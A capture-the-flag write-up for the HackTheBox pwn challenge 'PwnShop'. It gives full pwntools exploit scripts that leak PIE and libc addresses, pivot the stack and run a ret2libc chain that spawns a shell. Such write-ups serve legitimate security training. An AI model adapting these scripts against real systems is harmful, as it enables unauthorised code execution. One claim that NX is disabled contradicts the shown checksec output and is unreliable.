PwnShop
PwnShop
Platform: HackTheBox | Category: Pwn | Difficulty: N/A | Author: D3v0o0Nu11 | Date: 2026-02-10
Description
We just opened a Pwn Shop, time to pwn all the things!
Solution Approach
Core idea: Buffer Overflow. Bypassing PIE and ASLR.
Steps
- In this challenge we're given a 64 bit binary, dynamically linked, and stripped.
┌──(D3v0o0Nu11㉿htb)-[~/Downloads/pwn_pwnshop] └─$ file pwnshop pwnshop: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=e354418962cffebad74fa44061f8c58d92c0e706, for GNU/Linux 3.2.0, stripped
BINARY PROTECTIONS
┌──(D3v0o0Nu11㉿htb)-[~/Downloads/pwn_pwnshop]
└─$ pwn checksec pwnshop
[*] '/home/D3v0o0Nu11/Downloads/pwn_pwnshop/pwnshop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
-
After decompiled the binary, it seems we can leak pie and calculate the piebase at the sell option.
-
We can use our classic way to leak pie by sending 7 bytes.
SCRIPT
from pwn import *
import os
os.system('clear')
def start(argv=[], *a, **kw):
if args.REMOTE:
return remote(sys.argv[1], sys.argv[2], *a, **kw)
elif args.GDB:
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe] + argv, *a, **kw)
gdbscript="""
init-pwndbg
continue
""".format(**locals())
exe = './pwnshop'
elf = context.binary = ELF(exe, checksec=True)
### context.log_level = 'DEBUG'
context.log_level = 'INFO'
sh = start()
pause()
sh.sendlineafter(b'>', b'2')
sh.sendlineafter(b'?', b'a')
### LEAKING PIE
sh.sendlineafter(b'?', b'A' * 7)
sh.recvline()
get = unpack(sh.recv(6) + b'\x00' * 2)
log.success('LEAKED PIE --> %#0x', get)
elf.address = get - 0x40c0 # 16576
log.info(f'PIE BASE --> {hex(elf.address)}')
sh.interactive()
- Next, analyzing the buy option, we know we can do BOF but sadly the space is too small.
BUY OPTION
- Knowing there is no interesting function to jump to and NX is disabled, but there is BOF; we know the concept for this challenge is ret2libc.
- But since the distance between RBP and RIP is too small, hence it's not enough for our payload, we need to do stack pivot.
FLOW
Payload we need to send
padding (need to calculate it first btw) + rdi_gadget + function@got + function@plt + return_symbol + sub_rsp_gadget.
Grabbing sub_rsp (dunno why can't automate the grab using ropstar).
Calculating the padding
Find the rip offset using gdb, then get the length of our rop_payload, and lastly substract them.
gdb-peda$ pattern search No register contains pattern buffer Registers point to pattern buffer: [RSI] --> offset 0 - size ~101 [RSP] --> offset 72 - size ~29 Pattern buffer found at: 0x00007fffffffdd50 : offset 0 - size 80 ($sp + -0x48 [-18 dwords]) References to pattern buffer found at: 0x00007fffffffb6c0 : 0x00007fffffffdd50 ($sp + -0x26d8 [-2486 dwords]) 0x00007fffffffd998 : 0x00007fffffffdd50 ($sp + -0x400 [-256 dwords]) 0x00007fffffffdc78 : 0x00007fffffffdd50 ($sp + -0x120 [-72 dwords])
Get the length of our rop payload.
### ROP PAYLOAD
p = flat([
rdi_gadget,
elf.got['printf'],
elf.plt['puts'],
elf.address + 0x132a
])
from pwn import *
import os
os.system('clear')
def start(argv=[], *a, **kw):
if args.REMOTE:
return remote(sys.argv[1], sys.argv[2], *a, **kw)
elif args.GDB:
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe] + argv, *a, **kw)
gdbscript="""
init-pwndbg
continue
""".format(**locals())
exe = './pwnshop'
elf = context.binary = ELF(exe, checksec=True)
### context.log_level = 'DEBUG'
context.log_level = 'INFO'
sh = start()
pause()
sh.sendlineafter(b'>', b'2')
sh.sendlineafter(b'?', b'a')
### LEAKING PIE
sh.sendlineafter(b'?', b'A' * 7)
sh.recvline()
get = unpack(sh.recv(6) + b'\x00' * 2)
log.success('LEAKED PIE --> %#0x', get)
elf.address = get - 0x40c0 # 16576
log.info(f'PIE BASE --> {hex(elf.address)}')
rop = ROP(elf)
### sub_rsp_gadget = rop.find_gadget(['sub rsp', '0x28', 'ret'])[0] # sub rsp, 0x28; ret;
sub_rsp_gadget = elf.address + 0x1219
log.success(f'STACK PIVOT GADGET --> {hex(sub_rsp_gadget)}')
rdi_gadget = rop.find_gadget(['pop rdi', 'ret'])[0]
log.success(f'RDI GADGET --> {hex(rdi_gadget)}')
### sh.sendlineafter(b'>', b'1')
sh.sendlineafter(b'>', b'1')
### ROP PAYLOAD
p = flat([
rdi_gadget,
elf.got['printf'],
elf.plt['puts'],
elf.address + 0x132a
])
### calculate padding for our second payload (stack pivot)
rip_offset = 72
padding = rip_offset - len(p)
log.info(f'padding --> {padding}')
sh.interactive()
LEAKING LIBC
from pwn import *
import os
os.system('clear')
def start(argv=[], *a, **kw):
if args.REMOTE:
return remote(sys.argv[1], sys.argv[2], *a, **kw)
elif args.GDB:
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe] + argv, *a, **kw)
gdbscript="""
init-pwndbg
continue
""".format(**locals())
exe = './pwnshop'
elf = context.binary = ELF(exe, checksec=True)
### context.log_level = 'DEBUG'
context.log_level = 'INFO'
sh = start()
pause()
sh.sendlineafter(b'>', b'2')
sh.sendlineafter(b'?', b'a')
### LEAKING PIE
sh.sendlineafter(b'?', b'A' * 7)
sh.recvline()
get = unpack(sh.recv(6) + b'\x00' * 2)
log.success('LEAKED PIE --> %#0x', get)
elf.address = get - 0x40c0 # 16576
log.info(f'PIE BASE --> {hex(elf.address)}')
rop = ROP(elf)
### sub_rsp_gadget = rop.find_gadget(['sub rsp', '0x28', 'ret'])[0] # sub rsp, 0x28; ret;
sub_rsp_gadget = elf.address + 0x1219
log.success(f'STACK PIVOT GADGET --> {hex(sub_rsp_gadget)}')
rdi_gadget = rop.find_gadget(['pop rdi', 'ret'])[0]
log.success(f'RDI GADGET --> {hex(rdi_gadget)}')
### sh.sendlineafter(b'>', b'1')
sh.sendlineafter(b'>', b'1')
### ROP PAYLOAD
p = flat([
rdi_gadget,
elf.got['printf'],
elf.plt['puts'],
elf.address + 0x132a
])
### calculate padding for our second payload (stack pivot)
rip_offset = 72
padding = rip_offset - len(p)
log.info(f'padding --> {padding}')
pay = flat([
asm('nop') * padding,
rdi_gadget,
elf.got['printf'],
elf.plt['puts'],
elf.address + 0x132a, # buy option
sub_rsp_gadget
])
### sh.sendlineafter(b':', pay)
sh.sendafter(b':', pay)
leaked_libc = sh.recvline().strip()
### print(leaked_libc)
leaked_libc = unpack(leaked_libc.ljust(8,b'\x00'))
log.success(f'Leaked LIBC printf --> {hex(leaked_libc)}')
sh.interactive()
-
Since we don't want to work twice (after succeed local, then identify the remote libc and try to get RCE remotely again), let us just send the script remotely and use the last 3 hex to find the remote libc in libc.blukat.
-
Hmm, let us leak another GOT function so we can get 1 result only.
USING LEAKED READ
-
Nice now let us run pwninit to patch the binary.
-
Let us calculate the libc base.
SCRIPT
from pwn import *
import os
os.system('clear')
def start(argv=[], *a, **kw):
if args.REMOTE:
return remote(sys.argv[1], sys.argv[2], *a, **kw)
elif args.GDB:
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe] + argv, *a, **kw)
gdbscript="""
init-pwndbg
continue
""".format(**locals())
### exe = './pwnshop'
exe = './pwnshop_patched'
elf = context.binary = ELF(exe, checksec=True)
### context.log_level = 'DEBUG'
context.log_level = 'INFO'
library = './libc6_2.23-0ubuntu11.2_amd64.so'
libc = context.binary = ELF(library, checksec=True)
sh = start()
pause()
sh.sendlineafter(b'>', b'2')
sh.sendlineafter(b'?', b'a')
### LEAKING PIE
sh.sendlineafter(b'?', b'A' * 7)
sh.recvline()
get = unpack(sh.recv(6) + b'\x00' * 2)
log.success('LEAKED PIE --> %#0x', get)
elf.address = get - 0x40c0 # 16576
log.info(f'PIE BASE --> {hex(elf.address)}')
rop = ROP(elf)
### sub_rsp_gadget = rop.find_gadget(['sub rsp', '0x28', 'ret'])[0] # sub rsp, 0x28; ret;
sub_rsp_gadget = elf.address + 0x1219
log.success(f'STACK PIVOT GADGET --> {hex(sub_rsp_gadget)}')
rdi_gadget = rop.find_gadget(['pop rdi', 'ret'])[0]
log.success(f'RDI GADGET --> {hex(rdi_gadget)}')
### sh.sendlineafter(b'>', b'1')
sh.sendlineafter(b'>', b'1')
### ROP PAYLOAD
p = flat([
rdi_gadget,
elf.got['printf'],
elf.plt['puts'],
elf.address + 0x132a
])
### calculate padding for our second payload (stack pivot)
rip_offset = 72
padding = rip_offset - len(p)
log.info(f'padding --> {padding}')
### LEAKING PRINTF@GOT
pay = flat([
asm('nop') * padding,
rdi_gadget,
elf.got['printf'],
elf.plt['puts'],
elf.address + 0x132a, # buy option
sub_rsp_gadget
])
### LEAKING READ@GOT
### pay = flat([
### asm('nop') * padding,
### rdi_gadget,
### elf.got['read'],
### elf.plt['puts'],
### elf.address + 0x132a, # buy option
### sub_rsp_gadget
### ])
### sh.sendlineafter(b':', pay)
sh.sendafter(b':', pay)
leaked_libc = sh.recvline().strip()
### print(leaked_libc)
leaked_libc = unpack(leaked_libc.ljust(8,b'\x00'))
log.success(f'Leaked LIBC printf --> {hex(leaked_libc)}')
### CALCULATING LIBC BASE
libc.address = leaked_libc - libc.sym['printf']
log.success('LIBC BASE --> %#0x', libc.address)
sh.interactive()
- All good, let us send our ret2libc payload along with our stack pivot.
GETTING RCE | ADDED A ROPSTAR SCRIPT FOR BETTER AUTOMATION
from pwn import *
import os
os.system('clear')
def start(argv=[], *a, **kw):
if args.REMOTE:
return remote(sys.argv[1], sys.argv[2], *a, **kw)
elif args.GDB:
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe] + argv, *a, **kw)
gdbscript="""
init-pwndbg
continue
""".format(**locals())
### exe = './pwnshop'
exe = './pwnshop_patched'
elf = context.binary = ELF(exe, checksec=True)
### context.log_level = 'DEBUG'
context.log_level = 'INFO'
library = './libc6_2.23-0ubuntu11.2_amd64.so'
libc = context.binary = ELF(library, checksec=True)
sh = start()
### pause()
sh.sendlineafter(b'>', b'2')
sh.sendlineafter(b'?', b'a')
### LEAKING PIE
sh.sendlineafter(b'?', b'A' * 7)
sh.recvline()
get = unpack(sh.recv(6) + b'\x00' * 2)
log.success('LEAKED PIE --> %#0x', get)
elf.address = get - 0x40c0 # 16576
log.info(f'PIE BASE --> {hex(elf.address)}')
rop = ROP(elf)
### sub_rsp_gadget = rop.find_gadget(['sub rsp', '0x28', 'ret'])[0] # sub rsp, 0x28; ret;
sub_rsp_gadget = elf.address + 0x1219
log.success(f'STACK PIVOT GADGET --> {hex(sub_rsp_gadget)}')
rdi_gadget = rop.find_gadget(['pop rdi', 'ret'])[0]
log.success(f'RDI GADGET --> {hex(rdi_gadget)}')
### sh.sendlineafter(b'>', b'1')
sh.sendlineafter(b'>', b'1')
### ROP PAYLOAD
p = flat([
rdi_gadget,
elf.got['printf'],
elf.plt['puts'],
elf.address + 0x132a
])
### calculate padding for our second payload (stack pivot)
rip_offset = 72
padding = rip_offset - len(p)
log.info(f'padding --> {padding}')
### LEAKING PRINTF@GOT
pay = flat([
asm('nop') * padding,
rdi_gadget,
elf.got['printf'],
elf.plt['puts'],
elf.address + 0x132a, # buy option
sub_rsp_gadget
])
### LEAKING READ@GOT
### pay = flat([
### asm('nop') * padding,
### rdi_gadget,
### elf.got['read'],
### elf.plt['puts'],
### elf.address + 0x132a, # buy option
### sub_rsp_gadget
### ])
### sh.sendlineafter(b':', pay)
sh.sendafter(b':', pay)
leaked_libc = sh.recvline().strip()
### print(leaked_libc)
leaked_libc = unpack(leaked_libc.ljust(8,b'\x00'))
log.success(f'Leaked LIBC printf --> {hex(leaked_libc)}')
### CALCULATING LIBC BASE
libc.address = leaked_libc - libc.sym['printf']
log.success('LIBC BASE --> %#0x', libc.address)
ret_addr = rop.find_gadget(['ret'])[0]
log.success(f'ret gadget --> {ret_addr}')
### RET2LIBC PAYLOAD
### payload = flat([
### asm('nop') * padding,
### ret_addr,
### rdi_gadget,
### next(libc.search(b'/bin/sh\x00')),
### libc.sym['system'],
### sub_rsp_gadget
### ])
### USING ROPSTAR
libcrop = ROP(libc)
libcrop.call(rop.find_gadget(['ret'])[0])
libcrop.call(libc.sym['system'], [next(libc.search(b'/bin/sh\x00'))])
libcrop.call(sub_rsp_gadget)
payload = asm('nop') * 40
payload += libcrop.chain()
log.info(libcrop.dump())
print(payload)
sh.sendlineafter(b':', payload)
sh.interactive()
RESULT IN LOCAL
TEST REMOTELY
- Got the flag.
Flag
REDACTED
Lessons Learned
- Buffer Overflow.
- Bypassing PIE and ASLR.
- Implement Stack Pivot.
- Implement ret2libc attack.